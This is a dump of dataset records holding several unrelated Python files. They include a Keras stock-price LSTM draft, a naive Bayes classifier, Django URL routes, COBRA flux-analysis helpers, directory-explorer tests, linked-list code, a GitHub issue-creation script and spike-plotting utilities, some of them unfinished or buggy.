3/14/2017\r\nUses Keras with tensorflow backend\r\n'''\r\nfrom __future__ import print_function\r\nimport numpy as np\r\nimport pandas as pd\r\nimport psutil\r\n\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Activation\r\nfrom keras.layers import LSTM\r\nfrom keras.optimizers import RMSprop\r\nfrom keras.utils.data_utils import get_file\r\nfrom keras.callbacks import ModelCheckpoint\r\n\r\nDO_PREPROCESSING = True\r\nDO_ANALYZE = False # Requires Preprocessing to be done\r\nDO_TRAINING = False\r\nDO_PREDICTION = False\r\n\r\n# Preprocessing variables\r\nDATA_DIR = '~/Downloads/WIKI_PRICES_212.csv'\r\nTICKER_COL = 'ticker'\r\nDATE_COL = 'date'\r\nNPARRAY_COLUMNS = ['open', 'close', 'high', 'low', 'volume']\r\nMIN_DAYS_ACTIVE = 1000\r\nCUT_FIRST_DAYS = 100\r\nUSE_PERCENTAGES = True\r\nTICKERS_NAME_FILENAME = 'tickerNames_pct.npy'\r\nTICKERS_DATA_FILENAME = 'tickerData_pct.npy'\r\n\r\n# Training and Prediction variables\r\nWINDOW_SIZE = 30\r\n\r\ndef preprocessing_daily():\r\n print('Starting preprocessing')\r\n raw_df = pd.read_csv(DATA_DIR)\r\n print('CSV data successfully loaded')\r\n raw_df = raw_df[[TICKER_COL, DATE_COL] + NPARRAY_COLUMNS]\r\n unique_tickers = raw_df[TICKER_COL].unique()\r\n # Find how many NaNs in each column\r\n for col in raw_df.columns:\r\n print(col + ': ' + str(raw_df[col].isnull().sum()))\r\n\r\n # Transfer from pandas to dict of tickers to numpy arrays (dtype=float32)\r\n ticker_names = []\r\n data_in = []\r\n for (i, ticker) in enumerate(unique_tickers):\r\n temp_data = raw_df[raw_df.ticker == ticker]\r\n if temp_data.shape[0] > MIN_DAYS_ACTIVE:\r\n temp_data = temp_data[CUT_FIRST_DAYS:] \\\r\n .drop([TICKER_COL, DATE_COL], 1) \\\r\n .as_matrix()\r\n temp_data = temp_data.astype(np.float32)\r\n if USE_PERCENTAGES:\r\n temp_data = make_percentages(temp_data)\r\n\r\n ticker_names.append(ticker)\r\n data_in.append(temp_data)\r\n if (i % 100) == 0:\r\n print(i)\r\n print(\"Memory used: \" + str(psutil.virtual_memory()[2]) + '%')\r\n np.save(TICKERS_NAME_FILENAME, np.array(ticker_names))\r\n np.save(TICKERS_DATA_FILENAME, np.array(data_in))\r\n print('Start tickers: ' + str(len(unique_tickers)))\r\n print('End tickers: ' + str(len(ticker_names)))\r\n\r\ndef analyze_data():\r\n data_in = np.load(TICKERS_DATA_FILENAME)\r\n print(data_in[0])\r\n\r\ndef begin_training():\r\n def generate_sequences():\r\n print('Creating sequences...')\r\n raw_data = np.load(TICKERS_DATA_FILENAME)\r\n seq_in = []\r\n exp_out = []\r\n for i in range(0, len(int_data) - WINDOW_SIZE):\r\n seq_in.append(int_data[i:(i + WINDOW_SIZE)])\r\n exp_out.append(int_data[i + WINDOW_SIZE])\r\n print('Memory used: ' + str(psutil.virtual_memory()[2]) + '%')\r\n model = Sequential()\r\n model.add(LSTM)\r\n\r\nif DO_PREPROCESSING:\r\n preprocessing_daily()\r\nif DO_ANALYZE:\r\n analyze_data()\r\nif DO_TRAINING:\r\n begin_training()\r\n","sub_path":"qmodel_rnn.py","file_name":"qmodel_rnn.py","file_ext":"py","file_size_in_byte":3050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"233020572","text":"from sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn import metrics\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.cross_validation import train_test_split\nimport numpy as np\nimport pandas as pd \n#Path to the labeled data\npath = \"data.txt\"\n#Loading the labeled data to an array\nwith open(\"data.txt\") as f:\n\tdata = f.read()\n\tdata = data.split(\"\\n\")\n\tdata = [x.split(\",,,\") for x in data]\n\tfor row in data:\n\t\tif len(row)!=2:\n\t\t\tdata.remove(row)\n\tdata = [[x[0].strip(),x[1].strip()] for x in data]\n\n#Loading the data array into a Pandas DataFrame and mapping the labels to a numerical value (0-unknown, 1-what,2-who,3-affirmation,when-4)\ndata = np.array(data)\ndata_df = pd.DataFrame(data,columns=[\"text\",\"label\"])\ndata_df['label'] = data_df.label.map({'what':1,'who':2,'affirmation':3,'when':4,'unknown':0})\nprint (data_df.head(10))\n#Splitiing target and input variables\nX = data_df.text\ny = data_df.label\n#Spliting into Test and Train Data Sets\nX_train, X_test, y_train, y_test = train_test_split(X, y, random_state=2)\n#Building a Document Term Matrix\nvect = CountVectorizer()\nX_train_dtm = vect.fit_transform(X_train)\nX_test_dtm = vect.transform(X_test)\n\n#Applying Naive Bayes (MultiNomial) Classifier\nnb = MultinomialNB()\n#Training the Classifier\nnb.fit(X_train_dtm, y_train)\n#Evaluating the test Data\ny_pred_class = nb.predict(X_test_dtm)\ntest_custom = [\"When will you be here?\"]\ntest_dtm = vect.transform(test_custom)\nprint (nb.predict(test_dtm))\n\n#Calculating the Accuracy of the Model on Test Data\nprint (metrics.accuracy_score(y_test, y_pred_class))","sub_path":"svm.py","file_name":"svm.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"349295846","text":"\"\"\"kopit URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom mainApp import views\n\nurlpatterns = [\n path('', views.kopit_login),\n path('fileupdate', views.file_update),\n path('admin/', admin.site.urls),\n path('login', views.kopit_login, name=\"login\"),\n path('home/', include('mainApp.urls')),\n path('autosync/start', views.restart_kopit_auto_sync, name=\"restart_autosync\"),\n path('autosync/stop', views.stop_kopit_auto_sync, name=\"stop_autosync\"),\n path('logger/start', views.restart_kopit_logger, name=\"restart_logger\"),\n path('logger/stop', views.stop_kopit_logger, name=\"stop_logger\"),\n path('sync/cluster', views.start_cluster_sync, name=\"sync_cluster\"),\n path('send/container_ipv6', views.update_container_ipv6, name=\"container_ipv6\")\n]\n","sub_path":"kopit/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"57133315","text":"\"\"\"\nFaça um programa que leia um número inteiro e positivo. Gere outro número formado pelos dígitos invertidos\ndo mesmo número.\n\"\"\"\nnumber = int(input('Informe um número inteiro e positivo: '))\n\nwhile number > 1:\n inverter = int(number % 10)\n number /= int(10)\n print(inverter, end='')\n","sub_path":"secao-2-variaveis-e-tipos-de-dados/exercicios/programa08.py","file_name":"programa08.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"185635552","text":"# -*- coding: utf-8 -*-\n# Dependencies from cobra\nfrom cobra.io.sbml import create_cobra_model_from_sbml_file\nfrom cobra.flux_analysis import flux_variability_analysis\nfrom cobra.flux_analysis.single_deletion import single_reaction_deletion,single_gene_deletion\nfrom cobra.flux_analysis.parsimonious import optimize_minimal_flux\nfrom cobra.flux_analysis.loopless import construct_loopless_model\n\nimport json, csv\nfrom math import sqrt,exp,pow\nfrom numpy import average, var, log\n\nfrom .thermodynamics_io import thermodynamics_io\n\nclass thermodynamics_simulatedData(thermodynamics_io):\n \"\"\"Class to generate and handle COBRA simulated data\"\"\"\n\n def __init__(self,fva_data_I={},\n sra_data_I={},\n sga_data_I={},\n fba_primal_data_I={},\n fba_dual_data_I={}):\n if fva_data_I:\n self.fva_data = self._convert_fluxBounds2var(fva_data_I)\n else:\n self.fva_data = {}\n if sra_data_I:\n self.sra_data = sra_data_I\n else:\n self.sra_data = {}\n if fba_primal_data_I:\n self.fba_primal_data = fba_primal_data_I\n else:\n self.fba_primal_data = {}\n if fba_dual_data_I:\n self.fba_dual_data = fba_dual_data_I\n else:\n self.fba_dual_data = {}\n if sga_data_I:\n self.sga_data = sra_data_I\n else:\n self.sga_data = {}\n\n def check_data(self):\n \"\"\"check data integrity\"\"\"\n return\n\n def generate_sra_data(self, cobra_model, reaction_list=None,\n method_I='fba', solver='glpk', verbose_I=True):\n \"\"\"Single reaction deletion analysis\n\n Args:\n cobra_model (cobra.Model): cobra model object\n reaction_list (list(cobra.Reaction)): list of cobra model reactions to use with SRA\n method_I (string): 'fba', 'moma'\n solver (string): default = 'glpk'\n verbose_I (boolean): print messages to the console\n \"\"\"\n if verbose_I:\n print('Single Reaction Deletion...')\n\n # single reaction deletion\n cobra_model.solver = solver\n single_reaction_deletions = single_reaction_deletion(cobra_model,\n #reaction_list=reaction_list,\n method=method_I\n )\n\n # FBA\n cobra_model.optimize()\n\n # for k,v in single_reaction_deletions[0].items():\n # self.sra_data[k] = {'gr':None,'gr_ratio':None,'method':method_I}\n # if v:\n # self.sra_data[k] = {'gr':v,'gr_ratio':v/cobra_model.objective.value}\n for i in range(len(single_reaction_deletions.index)):\n self.sra_data[single_reaction_deletions.index[i]] = {'gr':None,'gr_ratio':None,'method':method_I}\n if single_reaction_deletions.flux[i]:\n self.sra_data[single_reaction_deletions.index[i]] = {\n 'gr':single_reaction_deletions.flux[i],\n 'gr_ratio':single_reaction_deletions.flux[i]/cobra_model.objective.value}\n\n\n def export_sra_data(self, filename):\n \"\"\"export sra data\"\"\"\n with open(filename, 'w') as outfile:\n json.dump(self.sra_data, outfile, indent=4);\n\n def import_sra_data(self,filename):\n \"\"\"import sra data\"\"\"\n self.sra_data = json.load(open(filename))\n\n def generate_fva_data(self, cobra_model, fraction_of_optimum=0.9,\n objective_sense='maximize', reaction_list=None,\n allow_loops=True, solver='glpk', verbose_I=True):\n\n if verbose_I:\n print('FVA...')\n #add in loop law constrain\n if not allow_loops: cobra_model=construct_loopless_model(cobra_model)\n # calculate the reaction bounds using FVA\n cobra_model.solver = solver\n fva_data = flux_variability_analysis(cobra_model, fraction_of_optimum=0.9,\n objective_sense='maximize',\n reaction_list=reaction_list,\n ) \n self.fva_data = dict(zip(list(fva_data.index),fva_data.to_dict('records')))\n\n def export_fva_data(self, filename):\n \"\"\"export fva data\"\"\"\n with open(filename, 'w') as outfile:\n json.dump(self.fva_data, outfile, indent=4);\n\n\n def import_fva_data(self,filename):\n \"\"\"import fva data\"\"\"\n fva = json.load(open(filename))\n self.fva_data = self._convert_fluxBounds2var(fva)\n \n def _convert_fluxBounds2var(self, flux_bounds):\n \"\"\"convert flux bounds from FVA to median and variance\n \n variance = (max - median)^2\n\n Args:\n flux_bounds (dict): {reaction.id: {'maximum': float, 'minimum': float}}\n\n Returns: \n dict: output: {reaction.id: {'flux': float, 'flux_var': float, 'flux_units': 'mmol*gDW-1*hr-1'}\n\n \"\"\"\n\n flux_bounds_O = {}\n for k,v in flux_bounds.items():\n median = (v['maximum'] - v['minimum'])/2\n variance = (v['maximum'] - median)*(v['maximum'] - median)\n flux_bounds_O[k] = {'flux': median, 'flux_var': variance, 'flux_units': 'mmol*gDW-1*hr-1',\n 'flux_lb': v['minimum'], 'flux_ub': v['maximum']}\n\n return flux_bounds_O\n\n def generate_fba_data(self,cobra_model,allow_loops=True, method_I='fba',solver='glpk'):\n \"\"\"perform FBA simulation on the model\n \"\"\"\n #add in loop law constrain\n if not allow_loops: cobra_model=construct_loopless_model(cobra_model)\n #check for the optimization method:\n cobra_model.solver = solver\n if method_I=='fba' or method_I=='loopless-fba':\n sol = cobra_model.optimize()\n elif method_I =='pfba' or method_I=='loopless-pfba':\n sol = optimize_minimal_flux(model=cobra_model,solver=solver)\n else:\n print('method not recognized.')\n return\n \n self.fba_primal_data={}\n for k,v in sol.x_dict.items():\n self.fba_primal_data[k] = v\n self.fba_dual_data={}\n for k,v in sol.y_dict.items():\n self.fba_dual_data[k] = v\n\n def generate_sga_data(self, cobra_model, gene_list=None,\n method_I='fba', solver='glpk'):\n \"\"\"Single gene deletion analysis\n \n Args:\n gene_list (list): list of genes\n method_I (str): 'fba', 'moma'\n \"\"\"\n\n print('Single Reaction Deletion...')\n\n # single gene deletion\n single_gene_deletions = single_gene_deletion(cobra_model,\n #gene_list=gene_list,\n method=method_I,\n solver=solver\n )\n\n # FBA\n cobra_model.solver = solver\n cobra_model.optimize()\n\n for k,v in single_gene_deletions[0].items():\n self.sga_data[k] = {'gr':None,'gr_ratio':None,'method':method_I}\n if v:\n self.sga_data[k] = {'gr':v,'gr_ratio':v/cobra_model.objective.value}\n\n def export_sga_data(self, filename):\n \"\"\"export sga data\"\"\"\n with open(filename, 'w') as outfile:\n json.dump(self.sga_data, outfile, indent=4);\n\n def import_sga_data(self,filename):\n \"\"\"import sga data\"\"\"\n self.sga_data = json.load(open(filename))\n\n #TODO:\n def reduce_model(self,cobra_model,method_I='fba',solver='glpk'):\n \"\"\"reduce the model\"\"\"\n pass\n def generate_fluxSum_data(self,cobra_model,method_I='fba',solver='glpk'):\n \"\"\"\n perform a fluxSum analysis \n \"\"\"\n pass","sub_path":"thermodynamics/thermodynamics_simulatedData.py","file_name":"thermodynamics_simulatedData.py","file_ext":"py","file_size_in_byte":7718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"366735491","text":"\"\"\"\n创建二级子进程防止僵尸进程\n\"\"\"\n\nimport os\nfrom time import *\n\ndef f1():\n for i in range(4):\n sleep(2)\n print(\"写代码\")\n\ndef f2():\n for i in range(5):\n sleep(1)\n print(\"测代码\")\n\npid=os.fork()\n\nif pid<0:\n print(\"Error\")\nelif pid==0:\n p=os.fork() # 二级子进程\n if p==0:\n f2() #二级子进程执行\n else:\n os._exit(0)\n\nelse:\n os.wait()\n f1()","sub_path":"untitled/month02/0508(进程)/fork/child.py","file_name":"child.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"548895778","text":"# Copyright 2017 Taylor DeHaan\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport shutil\nimport unittest\nfrom ..directory_explorer import DirectoryExplorer\n\n\nclass TestDirectoryExplorer(unittest.TestCase):\n\n def setUp(self):\n self.test_dir = os.path.abspath(\"./test_dir/\") + \"/\"\n os.mkdir(self.test_dir)\n\n self.hidden_files = [\".hidfile.txt\", \"..hidfile.txt\"]\n self.hidden_dirs = [\".hiddir\", \"..hiddir\"]\n\n for f in self.hidden_files:\n self._make_file(self.test_dir + f)\n\n for d in self.hidden_dirs:\n os.mkdir(self.test_dir + d)\n\n self.dir_pattern_a = \"dira%i\"\n self.dir_pattern_b = \"dirb%i\"\n self.file_pattern_a = \"filea%i.txt\"\n self.file_pattern_b = \"fileb%i.txt\"\n\n path = self.test_dir\n for i in range(3):\n self._make_file(path + (self.file_pattern_a % i))\n self._make_file(path + (self.file_pattern_b % i))\n os.mkdir(path + (self.dir_pattern_a % i))\n os.mkdir(path + (self.dir_pattern_b % i))\n path = os.path.join(path, self.dir_pattern_a % i) + \"/\"\n\n def tearDown(self):\n shutil.rmtree(self.test_dir)\n\n def _make_file(self, filename):\n open(filename, 'a').close()\n\n def test_explore_hides_hidden_files(self):\n direxp = DirectoryExplorer(start_dir=self.test_dir, show_hidden=False)\n results = direxp.explore()\n _, files = results[0]\n\n for f in self.hidden_files:\n self.assertFalse(f in files)\n\n def test_explore_hides_hidden_dirs(self):\n direxp = DirectoryExplorer(start_dir=self.test_dir, show_hidden=False)\n results = direxp.explore()\n dirs, _ = results[0]\n\n for d in self.hidden_dirs:\n self.assertFalse(d in dirs)\n\n def test_explore_shows_hidden_files(self):\n direxp = DirectoryExplorer(start_dir=self.test_dir, show_hidden=True)\n results = direxp.explore()\n _, files = results[0]\n\n for f in self.hidden_files:\n self.assertTrue(f in files)\n\n def test_explore_shows_hidden_dirs(self):\n direxp = DirectoryExplorer(start_dir=self.test_dir, show_hidden=True)\n results = direxp.explore()\n dirs, _ = results[0]\n\n for d in self.hidden_dirs:\n self.assertTrue(d in dirs)\n\n def test_explore_finds_all_files(self):\n direxp = DirectoryExplorer(start_dir=self.test_dir, show_hidden=False)\n results = direxp.explore()\n\n recursion_level = 0\n for _, files in results:\n if files:\n self.assertTrue(self.file_pattern_a % recursion_level in files)\n self.assertTrue(self.file_pattern_b % recursion_level in files)\n recursion_level += 1\n\n def test_explore_finds_all_dirs(self):\n direxp = DirectoryExplorer(start_dir=self.test_dir, show_hidden=False)\n results = direxp.explore()\n\n recursion_level = 0\n for dirs, _ in results:\n if dirs:\n self.assertTrue(self.dir_pattern_a % recursion_level in dirs)\n self.assertTrue(self.dir_pattern_b % recursion_level in dirs)\n recursion_level += 1\n\n def test_recursion_limit(self):\n recursion_limit = 1\n direxp = DirectoryExplorer(start_dir=self.test_dir, show_hidden=False,\n recursion_limit=recursion_limit)\n results = direxp.explore()\n\n recr_depth = 0\n for dirs, _ in results:\n if dirs:\n if recr_depth > recursion_limit:\n self.assertFalse(self.dir_pattern_a % recr_depth in dirs)\n self.assertFalse(self.dir_pattern_b % recr_depth in dirs)\n else:\n self.assertTrue(self.dir_pattern_a % recr_depth in dirs)\n self.assertTrue(self.dir_pattern_b % recr_depth in dirs)\n recr_depth += 1\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"dir_ascii/tests/test_directory_explorer.py","file_name":"test_directory_explorer.py","file_ext":"py","file_size_in_byte":4492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"11678743","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 30 14:44:15 2018\n\n@author: Dean\n\"\"\"\n\nclass Node:\n def __init__(self, value=None):\n self.value = value\n self.next = None\n\ndef show(head):\n if not head or not head.next:\n return head\n p = head.next\n while(p):\n print(p.value,end=\" \")\n p = p.next\n print(\"\\n\")\n\ndef create(data):\n head = Node()\n R = head\n for i in data:\n node = Node(i)\n R.next = node\n R = node\n R.next = None\n return head\n\ndef left_right_combine(head):\n if not head or not head.next:\n return head\n p = head.next\n N = 0\n while(p):\n N += 1\n p = p.next\n mid_i = N//2\n i = -1\n p = head.next\n while(p):\n i += 1\n if i == mid_i:\n break\n p = p.next\n mid = p\n p = head.next\n p2 = mid\n head.next = None\n R = head\n i = 0\n \n while(p!=mid and p2): #注意这里的条件!\n if i % 2 == 0: #这里是用的尾插法。\n tmp = p.next\n R.next = p\n R = p\n p = tmp\n else:\n tmp = p2.next\n R.next = p2\n R = p2\n p2 = tmp\n i += 1\n #下面这些很重要,不能忽略!\n while(p!=mid):\n R.next = p\n R = p\n p = p.next\n while(p2):\n R.next = p2\n R = p2\n p2 = p2.next\n R.next = None\n return head\n\ndef left_right_combine2(head):\n if not head or not head.next:\n return head\n if not head.next.next:\n return head\n p = head.next\n q = head.next.next\n while(q.next and q.next.next): #找到左半区最后一个节点,保存在p。\n p = p.next #注意这里的条件!\n q = q.next.next\n mid = p.next\n p.next = None\n left = head.next\n right = mid\n while(left.next and right):#这里是把right插入到left之中。\n tmp = right.next\n tmp2 = left.next\n right.next = left.next\n left.next = right\n right = tmp\n left = tmp2\n left.next = right #勿忘!\n return head\n \n \n\n\nif __name__ == \"__main__\":\n data = [1,2,3,4,5,6,7,8]\n data2 = [1,2,3,4,5,6,7]\n head1 = create(data)\n head2 = create(data2)\n# head3 = left_right_combine(head1)\n# show(head3)\n# head4 = left_right_combine(head2)\n# show(head4)\n head5 = left_right_combine2(head2)\n show(head5)\n \n \n \n \n ","sub_path":"算法题/程序员面试指南/python/栈和队列/按照左右半区重新组合单链表.py","file_name":"按照左右半区重新组合单链表.py","file_ext":"py","file_size_in_byte":2486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"444027023","text":"import sys\nfrom github import Github\nimport pandas as pd\nimport xlrd\n\n#pip install xlrd, pip install pandas, pip install PyGithub if not already\n\n\ndef load_login_details(filename):\n ''' Loads login details from a simple text file\n :param filename: the filename containing the login details\n :return: the username and password\n '''\n user = None\n pswd = None\n try:\n file = open(filename)\n user = file.readline().strip()\n pswd = file.readline().strip()\n except:\n print( \"Trouble loading login details from\", filename)\n print( \"There must be a file \", filename, \" with your github username and password\")\n print( \"in the script directory (one per line)\")\n print( \"We will continue anonymously, but expect rate limit problems\")\n finally:\n file.close()\n return user, pswd\n\n# Authentication for user filing issue (must have read/write access to\n# repository to add issue to)\nUSERNAME, PASSWORD = load_login_details(\"login.txt\")\n# will be loaded from login.txt:\n# USERNAME = 'keeeto'\n# PASSWORD = '******'\n# The repository to add this issue to\nREPO_NAME = 'mantid'\nREPO_OWNER = 'mantidproject'\n\ngh = Github(USERNAME, PASSWORD)\nrepo = gh.get_user(REPO_OWNER).get_repo(REPO_NAME)\nassignees = repo.get_assignees()\n\n#Lookup milestone sting to get number\nmilestone = \"Release 5.1\"\ngh_milestone = None\nfor loop_milestone in repo.get_milestones():\n if loop_milestone.title == milestone:\n gh_milestone = loop_milestone\nif gh_milestone is None:\n print( \"could not find milestone \" + milestone)\n sys.exit(0)\nprint( \"Milestone\", gh_milestone.number, gh_milestone.title)\n\nlabels = ['Manual Tests']\n#translate the label strings into gh objects\ngh_labels = []\nfor label in labels:\n gh_label = repo.get_label(label)\n if gh_label is not None:\n gh_labels.append(gh_label)\n\nprint( \"Labels\", gh_labels)\n\n\nbody_text = '''\nYou have been assigned unscripted testing. The hope is to catch as many problems with the code before release, so it would be great if you can take some time to give a serious test to your assigned area. Thank you!!\n\nThe general guide to unscripted testing:\n\n* The tests must be performed on the installer versions of the final release candidate. Not on local compiled code.\n* Serious errors involving loss of functionality, crashes etc. should be raised\nas issues with the current release as a milestone and an email sent to the project manager immediately.\n* Minor and cosmetic issues should be raised as issues against the forthcoming\nreleases.\n* First try things that should work, then try to break Mantid, e.g. entering invalid values, unexpected characters etc.\n* Don't spend more than a few hours on the testing as fatigue will kick in.\n* If you find errors in the documentation, please correct them.\n* Comment against this ticket the OS environment you are testing against.\n* Close the this issue once you are done.\n'''\n\nprint( \"\\nLoading Issues\")\ndf = pd.read_excel(\"issue_template.xlsx\",\"issues\")\n\nprint( \"\\nCreating Issues\")\nfor index, row in df.iterrows():\n title = row['Title']\n additional_body = row['Additional Body Text'] \n assignee = row['Assignee']\n gh_assignee = None\n if pd.notnull(assignee):\n for loop_assignee in assignees:\n if loop_assignee.login == assignee:\n gh_assignee = assignee\n if gh_assignee is None:\n print( \"could not find gh assignee for \", assignee, \". Continuing without assignment.\")\n\n my_body = body_text\n if pd.notnull(additional_body):\n my_body += \"\\n\\n### Specific Notes:\\n\\n\" + additional_body\n print (title,gh_assignee,gh_milestone,gh_labels)\n issue = repo.create_issue(title, my_body, gh_assignee, gh_milestone, gh_labels) #COMMENT THIS OUT TO TEST BEFORE MAKING ISSUES\n print(issue.number, issue.title)\n","sub_path":"Project-Management/Tools/RoadmapUpdate/create_issues.py","file_name":"create_issues.py","file_ext":"py","file_size_in_byte":3847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"301829892","text":"from __future__ import (print_function,\n unicode_literals,\n division)\nfrom future.builtins import str, open, range, dict\nimport matplotlib\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom pprint import pprint\nimport sys\nfrom matplotlib import gridspec\nimport argparse\nimport os\n\n\ndef plot_snap(start_t, end_t, volts, spikes_in, spikes_out, ts=1.0, start_neuron=0, end_neuron=-1):\n ms_to_ts = 1.0 / ts\n ts_to_ms = 1.0 / ms_to_ts\n ts_start = int(start_t * ms_to_ts)\n ts_end = int(end_t * ms_to_ts)\n start_nid = start_neuron\n end_nid = end_neuron\n\n post_spikes = []\n post_ids = []\n for i in range(start_nid, end_nid):\n local_spikes = np.array(spikes_out[i])\n whr = np.where(np.logical_and(\n start_t <= local_spikes,\n local_spikes < end_t))\n post_spikes.append(local_spikes[whr])\n if len(whr[0]):\n post_ids.append(i)\n print(post_ids)\n\n pre_spikes = []\n for i in range(len(spikes_in)):\n local_spikes = np.array(spikes_in[i])\n whr = np.where(np.logical_and(\n start_t <= local_spikes,\n local_spikes < end_t))\n pre_spikes.append(local_spikes[whr])\n\n plt.figure(figsize=(12, 8))\n ax = plt.subplot(1, 1, 1)\n\n for i, times in enumerate(pre_spikes):\n for t in times:\n plt.axvline((t - ts_to_ms - start_t) * ms_to_ts, linestyle='--', linewidth=0.5, color='magenta')\n\n for i, times in enumerate(post_spikes):\n for t in times:\n plt.axvline((t - ts_to_ms - start_t) * ms_to_ts, marker='.', linestyle='--', linewidth=0.5, color='blue')\n\n plt.plot(volts[ts_start:ts_end, start_nid:end_nid])\n plt.axhline(-65, color='black')\n xticks = ax.get_xticks()\n ax.set_xticklabels(start_t + np.array(xticks) * ts_to_ms)\n ax.set_xlabel('time [ms]')\n ax.set_ylabel('membrane voltage [mV]')\n\n plt.show()\n\n\ndef plot_in_range(fig, ax, spikes, start_t, end_t, color='blue', markersize=1, marker='.', markeredgewidth=0,\n plot_line=None, linewidth=0):\n for i, times in enumerate(spikes):\n times = np.array(times)\n whr = np.where(np.logical_and(times >= start_t, times <= end_t))[0].astype('int')\n if len(whr):\n plot_times = times[whr]\n if plot_line is not None:\n for t in plot_times:\n if plot_line == 'vertical':\n plt.axvline(t, color=color, linewidth=linewidth)\n elif plot_line == 'horizontal':\n plt.axhline(t, color=color, linewidth=linewidth)\n else:\n plt.plot(plot_times, i * np.ones_like(plot_times), marker, color=color,\n markersize=markersize, markeredgewidth=markeredgewidth)\n\n\ndef active_per_pattern(spikes, dt=50):\n end = 0\n n_active = []\n\n for start in range(0, total_t, dt):\n sys.stdout.write(\"\\r{}/{}\".format(start, total_t))\n sys.stdout.flush()\n end = start + dt\n active_count = 0\n for times in spikes:\n\n times = np.array(times)\n whr = np.where(np.logical_and(times >= start, times < end))[0]\n if len(whr):\n active_count += 1\n\n n_active.append(active_count)\n\n sys.stdout.write(\"\\n\")\n sys.stdout.flush()\n\n return n_active\n\n\ndef pop_rate_per_second(spikes, total_t, dt):\n ms_to_s = 1. / 1000.\n n_neurons = len(spikes)\n end = 0\n rates = []\n for start in range(0, total_t, dt):\n end = start + dt\n spike_count = 0\n for times in spikes:\n times = np.array(times)\n whr = np.where(np.logical_and(times >= start, times < end))[0]\n spike_count += len(whr)\n rate = float(spike_count) / float(n_neurons * dt * ms_to_s)\n # rate = float(spike_count) / float(dt * ms_to_s)\n rates.append(rate)\n\n return rates\n\n\ndef active_neurons_per_pattern(spikes, start_time, end_time, sample_indices, start_indices_index, config):\n t_per_sample = config['time_per_sample']\n n_samples = config['n_samples']\n n_patterns = config['n_patterns']\n\n posts = []\n active_neurons = {idx: set() for idx in range(n_patterns)}\n st = start_time\n for idx in range(start_indices_index, len(sample_indices)):\n pat_id = sample_indices[idx] // n_samples\n et = st + t_per_sample\n posts[:] = []\n for post_id, times in enumerate(spikes):\n times = np.array(times)\n find = np.where(np.logical_and(times >= st, times < et))[0]\n if len(find):\n posts.append(post_id)\n\n # print(pat_id, st, et, posts)\n ### update set of active neurons\n active_neurons[pat_id] |= set(posts)\n\n st = et\n\n return active_neurons\n\n\ndef avg_mean(sig):\n return np.sum(sig) / float(len(sig))\n\n\ndef energy(sig):\n return np.sum(np.power(sig, 2))\n\n\ndef power(sig):\n return energy(sig) / float(len(sig))\n\n\ndef variance(sig):\n return power(sig) - avg_mean(sig) ** 2\n\ndef analyse_spike_patterns(input_spikes, input_vecs, sample_indices, total_t,\n sample_dt, start_t=0, do_overlaps=True):\n n_patterns = len(input_vecs)\n pop_size = len(input_spikes)\n n_samples = len(sample_indices)//n_patterns\n if do_overlaps:\n all_overlaps = np.zeros((n_patterns, n_samples))\n else:\n all_overlaps = np.zeros((n_patterns, 1))\n\n start_idx = int(start_t//sample_dt)\n sample_idx = np.zeros(n_patterns)\n patterns = np.zeros((n_patterns, pop_size))\n for i, t in enumerate(np.arange(start_t, total_t, sample_dt)):\n sys.stdout.write('\\r%6.2f%%' % (float((i + 1) * 100) / float(n_samples * n_patterns)))\n sys.stdout.flush()\n sid = start_idx + i\n curr_pat = int(sample_indices[sid] // n_samples)\n\n spikes = np.zeros(pop_size)\n for j in range(pop_size):\n row = np.array(input_spikes[j])\n whr = np.where(np.logical_and(t <= row, row < t + sample_dt))\n if len(whr[0]):\n spikes[j] = 1\n\n patterns[curr_pat, :] += spikes\n\n if do_overlaps:\n overlap = np.logical_and(input_vecs[curr_pat], spikes).sum()\n all_overlaps[curr_pat, int(sample_idx[curr_pat])] = overlap\n sample_idx[curr_pat] += 1\n\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\n return patterns, all_overlaps\n\ndef plot_weight_figs(initial, final, difference, out_suffix, cmap='seismic_r'):\n max_end = np.max(np.abs(final))\n max_start = np.max(np.abs(initial))\n max_diff = np.abs(difference).max()\n\n max_w = max(max_diff, max(max_start, max_end))\n\n fig = 